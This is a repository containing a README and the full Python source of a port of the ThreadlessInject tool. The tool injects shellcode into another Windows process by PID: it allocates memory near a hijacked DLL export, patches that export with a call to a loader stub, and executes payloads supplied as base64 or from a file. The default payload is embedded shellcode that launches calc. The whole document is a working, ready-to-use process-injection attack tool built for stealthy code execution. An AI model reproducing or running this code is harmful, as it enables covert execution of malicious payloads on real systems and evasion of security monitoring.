├── LICENSE.txt ├── README.md └── threadlessinject.py /LICENSE.txt: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) [year] [fullname] 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # pyThreadlessInject 2 | 3 | A python port of CCob's [ThreadlessInject](https://github.com/CCob/ThreadlessInject), because why should C# have all the fun?! 4 | 5 | ## Commandline usage 6 | 7 | ### Help 8 | 9 | ```cmd 10 | python .\threadlessinject.py -h 11 | ``` 12 | 13 | ### Basic execution (uses calc.exe shellcode by default) 14 | 15 | ```cmd 16 | python .\threadlessinject.py -d ntdll.dll -e NtTerminateProcess -p 10184 17 | ``` 18 | 19 | ### Executing base64 encoded shellcode 20 | 21 | ```cmd 22 | python .\threadlessinject.py -d ntdll.dll -e NtTerminateProcess -p 10184 -r U1ZXVVRYZoPk8FBqYFpoY2FsY1RZSCnUZUiLMkiLdhhIi3YQSK1IizBIi34wA1c8i1wXKIt0HyBIAf6LVB8kD7csF41SAq2BPAdXaW5Fde+LdB8cSAH+izSuSAH3mf/XSIPEaFxdX15bww== 23 | ``` 24 | 25 | ### Executing shellcode from file 26 | 27 | ```cmd 28 | python .\threadlessinject.py -d ntdll.dll -e NtTerminateProcess -p 10184 -f c:\Users\IEUser\Downloads\shellcode.bin 29 | ``` 30 | 31 | ## Programmatic usage 32 | 33 | ### Basic execution (uses calc.exe shellcode by default, and wait time of 60 seconds) 34 | 35 | ```python 36 | import threadlessinject 37 | dll = b'ntdll.dll' 38 | export = b'NtTerminateProcess' 39 | pid = 10184 40 | threadlessinject.threadlessInject(dll, export, pid) 41 | ``` 42 | 43 | ### Executing shellcode with custom wait time (only accept raw bytes of shellcode) 44 | 45 | ```python 46 | import threadlessinject 47 | dll = b'ntdll.dll' 48 | export = b'NtTerminateProcess' 49 | pid = 10184 50 | wait = 120 51 | shellcode = b"\x53\x56\x57\x55\x54\x58\x66\x83\xE4\xF0\x50\x6A\x60\x5A\x68\x63\x61\x6C\x63\x54\x59\x48\x29\xD4\x65\x48\x8B\x32\x48\x8B\x76\x18\x48\x8B\x76\x10\x48\xAD\x48\x8B\x30\x48\x8B\x7E\x30\x03\x57\x3C\x8B\x5C\x17\x28\x8B\x74\x1F\x20\x48\x01\xFE\x8B\x54\x1F\x24\x0F\xB7\x2C\x17\x8D\x52\x02\xAD\x81\x3C\x07\x57\x69\x6E\x45\x75\xEF\x8B\x74\x1F\x1C\x48\x01\xFE\x8B\x34\xAE\x48\x01\xF7\x99\xFF\xD7\x48\x83\xC4\x68\x5C\x5D\x5F\x5E\x5B\xC3" 52 | threadlessinject.threadlessInject(dll, export, pid, waitTime=wait, shellcodeBytes=shellcode) 53 | ``` 54 | 55 | ## Commandline args 56 | 57 | - -h/--help         `Provides help menu` 58 | - -d/--dll            `The DLL that that contains the export to patch (must be KnownDll)` 59 | - -e/--export      `The exported function that will be hijacked` 60 | - -p/--pid           `Target process ID to inject` 61 | - -w/--wait         `Time to wait for execution before cleanup will be abandoned` 62 | - -r/--raw           `Base64 for x64 shellcode payload (default: calc launcher)` 63 | - -f/--file            `File for x64 shellcode payload (default: calc launcher)` 64 | 65 | ## Gotchas 66 | 67 | As mentioned in the last programmatic example, when the shellcodeBytes arg is supplied, it must be the bytes of the actual shellcode to be injected, when calling threadlessinject from cmd it converts the raw or file arguments into the shellcode needed for execution. 68 | 69 | Also, for commandline usage, the -r and -f arguments are mutually exclusive (you cannot provide both at the same time.) 70 | 71 | ## Thanks 72 | 73 | [CCob](https://github.com/CCob) for the [ThreadlessInject](https://github.com/CCob/ThreadlessInject) project, which this is ported from 74 | 75 | [Rasta Mouse](https://github.com/rasta-mouse) for their work on [ThreadlessInject](https://github.com/CCob/ThreadlessInject) as well 76 | 77 | [natesubra](https://github.com/natesubra) for showing me the [ThreadlessInject](https://github.com/CCob/ThreadlessInject) project in the first place, such a cool project I wanted to try and understand it better, hence this repo 78 | -------------------------------------------------------------------------------- /threadlessinject.py: -------------------------------------------------------------------------------- 1 | import io 2 | import sys 3 | import time 4 | import ctypes 5 | import logging 6 | import ctypes.wintypes 7 | kernel32 = ctypes.windll.kernel32 8 | ntdll = ctypes.windll.ntdll 9 | 10 | VmRead = 0x0010 11 | VmWrite = 0x0020 12 | VmOperation = 0x0008 13 | MemCommit = 0x00001000 14 | MemReserve = 0x00002000 15 | MemRelease = 0x00008000 16 | PageExecuteRead = 0x20 17 | PageExecuteReadWrite = 0x40 18 | PageReadWrite = 0x04 19 | 20 | ShellcodeLoader = b"\x58\x48\x83\xe8\x05\x50\x51\x52\x41\x50\x41\x51\x41\x52\x41\x53\x48\xb9\x88\x77\x66\x55\x44\x33\x22\x11\x48\x89\x08\x48\x83\xec\x40\xe8\x11\x00\x00\x00\x48\x83\xc4\x40\x41\x5b\x41\x5a\x41\x59\x41\x58\x5a\x59\x58\xff\xe0\x90" 21 | CalcX64 = b"\x53\x56\x57\x55\x54\x58\x66\x83\xE4\xF0\x50\x6A\x60\x5A\x68\x63\x61\x6C\x63\x54\x59\x48\x29\xD4\x65\x48\x8B\x32\x48\x8B\x76\x18\x48\x8B\x76\x10\x48\xAD\x48\x8B\x30\x48\x8B\x7E\x30\x03\x57\x3C\x8B\x5C\x17\x28\x8B\x74\x1F\x20\x48\x01\xFE\x8B\x54\x1F\x24\x0F\xB7\x2C\x17\x8D\x52\x02\xAD\x81\x3C\x07\x57\x69\x6E\x45\x75\xEF\x8B\x74\x1F\x1C\x48\x01\xFE\x8B\x34\xAE\x48\x01\xF7\x99\xFF\xD7\x48\x83\xC4\x68\x5C\x5D\x5F\x5E\x5B\xC3" 22 | 23 | kernel32.LoadLibraryA.restype = ctypes.wintypes.HMODULE 24 | kernel32.LoadLibraryA.argtypes = [ 25 | ctypes.wintypes.LPCSTR 26 | ] 27 | kernel32.GetModuleHandleA.restype = ctypes.wintypes.HMODULE 28 | kernel32.GetModuleHandleA.argtypes = [ 29 | ctypes.wintypes.LPCSTR 30 | ] 31 | 32 | kernel32.GetProcAddress.restype = ctypes.wintypes.HMODULE 33 | kernel32.GetProcAddress.argtypes = [ 34 | ctypes.wintypes.HMODULE, 35 | ctypes.wintypes.LPCSTR 36 | ] 37 | 38 | kernel32.CloseHandle.restype = ctypes.wintypes.HMODULE 39 | kernel32.CloseHandle.argtypes = [ 40 | ctypes.wintypes.HANDLE 41 | ] 42 | 43 | class UNICODE_STRING(ctypes.Structure): 44 | _fields_ = [ 45 | ('Length', ctypes.wintypes.USHORT), 46 | ('MaximumLength', ctypes.wintypes.USHORT), 47 | ('Buffer', ctypes.wintypes.LPWSTR), 48 | ] 49 | 50 | class OBJECT_ATTRIBUTES(ctypes.Structure): 51 | _fields_ = [ 52 | ('Length', ctypes.wintypes.ULONG), 53 | ('RootDirectory', ctypes.wintypes.HANDLE), 54 | ('ObjectName', UNICODE_STRING), 55 | ('Attributes', ctypes.wintypes.ULONG) 56 | ] 57 | 58 | class CLIENT_ID(ctypes.Structure): 59 | _fields_ = [ 60 | ("UniqueProcess", ctypes.wintypes.HANDLE), 61 | ("UniqueThread", ctypes.wintypes.HANDLE) 62 | ] 63 | 64 | ntdll.NtOpenProcess.restype = ctypes.wintypes.HANDLE 65 | ntdll.NtOpenProcess.argtypes = [ 66 | ctypes.POINTER(ctypes.wintypes.HANDLE), 67 | ctypes.wintypes.ULONG, 68 | ctypes.POINTER(OBJECT_ATTRIBUTES), 69 | ctypes.POINTER(CLIENT_ID) 70 | ] 71 | 72 | ntdll.NtAllocateVirtualMemory.restype = ctypes.wintypes.HANDLE 73 | ntdll.NtAllocateVirtualMemory.argtypes = [ 74 | ctypes.wintypes.HANDLE, 75 | ctypes.POINTER(ctypes.wintypes.HANDLE), 76 | ctypes.wintypes.HANDLE, 77 | ctypes.POINTER(ctypes.wintypes.HANDLE), 78 | ctypes.wintypes.ULONG, 79 | ctypes.wintypes.ULONG, 80 | ] 81 | 82 | ntdll.NtProtectVirtualMemory.restype = ctypes.wintypes.HANDLE 83 | ntdll.NtProtectVirtualMemory.argtypes = [ 84 | ctypes.wintypes.HANDLE, 85 | ctypes.POINTER(ctypes.wintypes.HANDLE), 86 | ctypes.POINTER(ctypes.wintypes.HANDLE), 87 | ctypes.wintypes.ULONG, 88 | ctypes.POINTER(ctypes.wintypes.ULONG) 89 | ] 90 | 91 | ntdll.NtWriteVirtualMemory.restype = ctypes.wintypes.HANDLE 92 | ntdll.NtWriteVirtualMemory.argtypes = [ 93 | ctypes.wintypes.HANDLE, 94 | ctypes.wintypes.HANDLE, 95 | ctypes.c_void_p, 96 | ctypes.c_uint32, 97 | ctypes.POINTER(ctypes.c_uint32) 98 | ] 99 | 100 | ntdll.NtReadVirtualMemory.restype = ctypes.wintypes.HANDLE 101 | ntdll.NtReadVirtualMemory.argtypes = [ 102 | ctypes.wintypes.HANDLE, 103 | ctypes.wintypes.HANDLE, 104 | ctypes.c_void_p, 105 | ctypes.c_uint32, 106 | ctypes.POINTER(ctypes.c_uint32) 107 | ] 108 | 109 | ntdll.NtFreeVirtualMemory.restype = ctypes.wintypes.HANDLE 110 | ntdll.NtFreeVirtualMemory.argtypes = [ 111 | ctypes.wintypes.HANDLE, 112 | ctypes.POINTER(ctypes.wintypes.HANDLE), 113 | ctypes.POINTER(ctypes.wintypes.HANDLE), 114 | ctypes.wintypes.ULONG 115 | ] 116 | 117 | def OpenProcess(pid: int, processHandle: ctypes.wintypes.HANDLE) -> int: 118 | oa = OBJECT_ATTRIBUTES() 119 | oa.Length = ctypes.sizeof(oa) 120 | cid = CLIENT_ID() 121 | cid.UniqueProcess = pid 122 | return ntdll.NtOpenProcess( 123 | ctypes.byref(processHandle), 124 | VmRead | VmWrite | VmOperation, 125 | ctypes.byref(oa), 126 | ctypes.byref(cid) 127 | ) 128 | 129 | def AllocateVirtualMemory(processHandle: ctypes.wintypes.HANDLE, address: int, size: int): 130 | return ntdll.NtAllocateVirtualMemory( 131 | processHandle, 132 | ctypes.byref(ctypes.c_void_p(address)), 133 | ctypes.wintypes.HANDLE(0), 134 | ctypes.byref(ctypes.c_void_p(size)), 135 | MemCommit | MemReserve, 136 | PageExecuteRead 137 | ) 138 | 139 | def LoadShellcode(shellcodeStr=CalcX64): 140 | if shellcodeStr is CalcX64: 141 | logging.warning("[=] No shellcode supplied, using calc shellcode") 142 | return shellcodeStr 143 | 144 | def FindMemoryHole(processHandle, exportAddress, size): 145 | remoteLoaderAddress = (exportAddress & 0xFFFFFFFFFFF70000) - 0x70000000 146 | foundMemory = False 147 | while remoteLoaderAddress < (exportAddress + 0x70000000): 148 | status = AllocateVirtualMemory( 149 | processHandle, 150 | remoteLoaderAddress, 151 | size) 152 | if not status: 153 | foundMemory = True 154 | break 155 | remoteLoaderAddress += 0x10000 156 | return remoteLoaderAddress if foundMemory else 0 157 | 158 | def GenerateHook(originalInstructions: bytes): 159 | writer = io.BytesIO(ShellcodeLoader) 160 | writer.seek(0x12) 161 | writer.write(originalInstructions) 162 | writer.seek(0) 163 | return writer.read() 164 | 165 | def ProtectVirtualMemory(processHandle: int, address: int, size: int, newProtection, oldProtection): 166 | return ntdll.NtProtectVirtualMemory( 167 | processHandle, 168 | ctypes.byref(ctypes.wintypes.HANDLE(address)), 169 | ctypes.byref(ctypes.wintypes.HANDLE(size)), 170 | newProtection, 171 | ctypes.byref(oldProtection) 172 | ) 173 | 174 | def WriteVirtualMemory(processHandle: int, address: int, buffer: bytes, bytesWritten: int): 175 | status = ntdll.NtWriteVirtualMemory( 176 | processHandle, 177 | ctypes.wintypes.HANDLE(address), 178 | buffer, 179 | ctypes.c_uint32(len(buffer)), 180 | ctypes.byref(bytesWritten) 181 | ) 182 | 183 | def ReadVirtualMemory(processHandle: int, address: int, buffer: bytes, bytesToRead: int, bytesRead): 184 | status = ntdll.NtReadVirtualMemory( 185 | processHandle, 186 | ctypes.wintypes.HANDLE(address), 187 | buffer, 188 | ctypes.c_uint32(bytesToRead), 189 | ctypes.byref(bytesRead) 190 | ) 191 | 192 | def FreeVirtualMemory(processHandle: int, address: int): 193 | regionSize = ctypes.wintypes.HANDLE(0) 194 | return ntdll.NtFreeVirtualMemory( 195 | processHandle, 196 | ctypes.byref(ctypes.wintypes.HANDLE(address)), 197 | ctypes.byref(regionSize), 198 | MemRelease 199 | ) 200 | 201 | def CloseHandle(processHandle: int): 202 | return kernel32.CloseHandle( 203 | processHandle 204 | ) 205 | 206 | def threadlessInject(module: bytes, export: bytes, pid: int, waitTime: int=60, shellcodeBytes: bytes=None): 207 | global ShellcodeLoader 208 | dllHandle = kernel32.GetModuleHandleA(module) 209 | if not dllHandle: 210 | dllHandle = kernel32.LoadLibraryA(module) 211 | 212 | if not dllHandle: 213 | raise OSError(hex(dllHandle), f"[!] Failed to open handle to DLL {module.decode()}, is the KnownDll loaded?") 214 | 215 | exportAddress = kernel32.GetProcAddress(dllHandle, export) #(handle, exported func name) 216 | 217 | if not exportAddress: 218 | raise OSError(exportAddress.decode(), f"[!] Failed to find export {export.decode()} in {module.decode()}, are you sure it's correct?") 219 | 220 | logging.info(f"[=] Found {module.decode()}!{export.decode()} @ {hex(exportAddress)}") 221 | 222 | processHandle = ctypes.wintypes.HANDLE(0) 223 | 224 | result = OpenProcess(pid, processHandle) #pid 225 | if result or not processHandle.value: 226 | raise OSError(hex(result), f"[!] Failed to open PID {pid}: {hex(exportAddress)}") 227 | 228 | logging.info(f"[=] Opened process with id {pid}") 229 | 230 | if shellcodeBytes: 231 | shellcode = LoadShellcode(shellcodeStr=shellcodeBytes) 232 | else: 233 | shellcode = LoadShellcode() 234 | 235 | loaderAddress = FindMemoryHole( 236 | processHandle, 237 | exportAddress, 238 | len(ShellcodeLoader) + len(shellcode) 239 | ) 240 | 241 | if not loaderAddress: 242 | raise OSError(hex(loaderAddress), "[!] Failed to find a memory hole with 2G of export address, bailing") 243 | 244 | logging.info(f"[=] Allocated loader and shellcode at {hex(loaderAddress)} within PID {pid}") 245 | 246 | originalBytes = ctypes.string_at(exportAddress, 8) 247 | 248 | ShellcodeLoader = GenerateHook(originalBytes) 249 | 250 | oldProtect = ctypes.wintypes.ULONG() 251 | 252 | ProtectVirtualMemory( 253 | processHandle, 254 | exportAddress, 255 | 8, 256 | PageExecuteReadWrite, 257 | oldProtect 258 | ) 259 | 260 | relativeLoaderAddress = loaderAddress - (ctypes.wintypes.ULONG(exportAddress).value + 5) 261 | 262 | callOpCode = b"\xe8\x00\x00\x00\x00" 263 | 264 | callOpCodeStream = io.BytesIO(callOpCode) 265 | callOpCodeStream.seek(1) 266 | callOpCodeStream.write(relativeLoaderAddress.to_bytes(8, byteorder=sys.byteorder)) 267 | callOpCodeStream.seek(0) 268 | callOpCode = callOpCodeStream.read() 269 | 270 | bytesWritten = ctypes.c_uint32(0) 271 | 272 | status = WriteVirtualMemory( 273 | processHandle, 274 | exportAddress, 275 | callOpCode, 276 | bytesWritten 277 | ) 278 | 279 | if (status or bytesWritten.value != len(callOpCode)): 280 | raise OSError(hex(status), f"[!] Failed to write callOpCode: {hex(status)}") 281 | 282 | payload = ShellcodeLoader + shellcode 283 | 284 | status = ProtectVirtualMemory( 285 | processHandle, 286 | loaderAddress, 287 | len(payload), 288 | PageReadWrite, 289 | oldProtect 290 | ) 291 | 292 | if status: 293 | raise OSError(hex(loaderAddress), f"[!] Failed to unprotect {hex(loaderAddress)}") 294 | 295 | status = WriteVirtualMemory( 296 | processHandle, 297 | loaderAddress, 298 | payload, 299 | bytesWritten 300 | ) 301 | 302 | if status: 303 | raise OSError(hex(status), f"[!] Failed to write payload: {hex(status)}") 304 | 305 | purgeProtect = ctypes.wintypes.ULONG() 306 | 307 | status = ProtectVirtualMemory( 308 | processHandle, 309 | loaderAddress, 310 | len(payload), 311 | oldProtect, 312 | purgeProtect 313 | ) 314 | 315 | if status: 316 | raise OSError(hex(loaderAddress), f"[!] Failed to protect {hex(loaderAddress)}") 317 | 318 | waitCounter = 0 319 | wait = int(waitTime) 320 | 321 | logging.info(f"[+] Shellcode injected, Waiting 60s for the hook to be called") 322 | buffer = (ctypes.c_ubyte*8)(0)#b"\x00\x00\x00\x00\x00\x00\x00\x00" 323 | 324 | executed = False 325 | 326 | while waitCounter < wait: 327 | bytesToRead = 8 328 | bytesRead = ctypes.c_uint32(0) 329 | 330 | ReadVirtualMemory( 331 | processHandle, 332 | exportAddress, 333 | buffer, 334 | bytesToRead, 335 | bytesRead 336 | ) 337 | if originalBytes == bytes(buffer): 338 | executed = True 339 | break 340 | time.sleep(1) 341 | waitCounter += 1 342 | 343 | if executed: 344 | status = ProtectVirtualMemory( 345 | processHandle, 346 | exportAddress, 347 | 8, 348 | oldProtect, 349 | purgeProtect 350 | ) 351 | 352 | if status: 353 | logging.warning(f"[!] Failed to protect {hex(loaderAddress)}") 354 | 355 | status = FreeVirtualMemory( 356 | processHandle, 357 | loaderAddress 358 | ) 359 | 360 | if status: 361 | logging.warning(f"[!] Failed to release {hex(loaderAddress)}: {hex(status)}") 362 | 363 | logging.info(f"[+] Shellcode executed after {waitCounter}s, export restored") 364 | else: 365 | logging.warning(f"[!] Shellcode did not trigger within {waitCounter}s, it may still execute but we are not cleaning up") 366 | 367 | status = CloseHandle(processHandle) 368 | 369 | if not status: 370 | raise OSError(hex(status), f"[!] Failed to close handle of {processHandle.value}") 371 | 372 | exit() 373 | 374 | 375 | if __name__ == "__main__": 376 | import argparse 377 | parser = argparse.ArgumentParser(description='Perform threadless process injection') 378 | parser.add_argument('--dll', '-d', dest='module', type=str, required=True, 379 | help='The DLL that that contains the export to patch (must be KnownDll)') 380 | parser.add_argument('--export', '-e', dest='export', type=str, required=True, 381 | help='The exported function that will be hijacked') 382 | parser.add_argument('--pid', '-p', dest='pid', type=int, required=True, 383 | help='Target process ID to inject') 384 | parser.add_argument('--wait', '-w', dest='waitTime', type=int, required=False, default=60, 385 | help='Time to wait for execution before cleanup will be abandoned') 386 | group = parser.add_mutually_exclusive_group() 387 | group.add_argument('--raw', '-r', dest='raw', type=str, required=False, 388 | help='Base64 for x64 shellcode payload (default: calc launcher)') 389 | group.add_argument('--file', '-f', dest='file', type=str, required=False, 390 | help='file for x64 shellcode payload (default: calc launcher)') 391 | args = parser.parse_args() 392 | if args.raw or args.file: 393 | if args.raw: 394 | import base64 395 | shellcode = base64.b64decode(args.raw) 396 | elif args.file: 397 | import os 398 | if os.path.exists(args.file): 399 | shellcode = open(args.file, 'rb').read() 400 | else: 401 | raise FileNotFoundError 402 | threadlessInject(args.module.encode(), args.export.encode(), args.pid, waitTime=args.waitTime, shellcodeBytes=shellcode) 403 | else: 404 | threadlessInject(args.module.encode(), args.export.encode(), args.pid, waitTime=args.waitTime) 405 | 406 | --------------------------------------------------------------------------------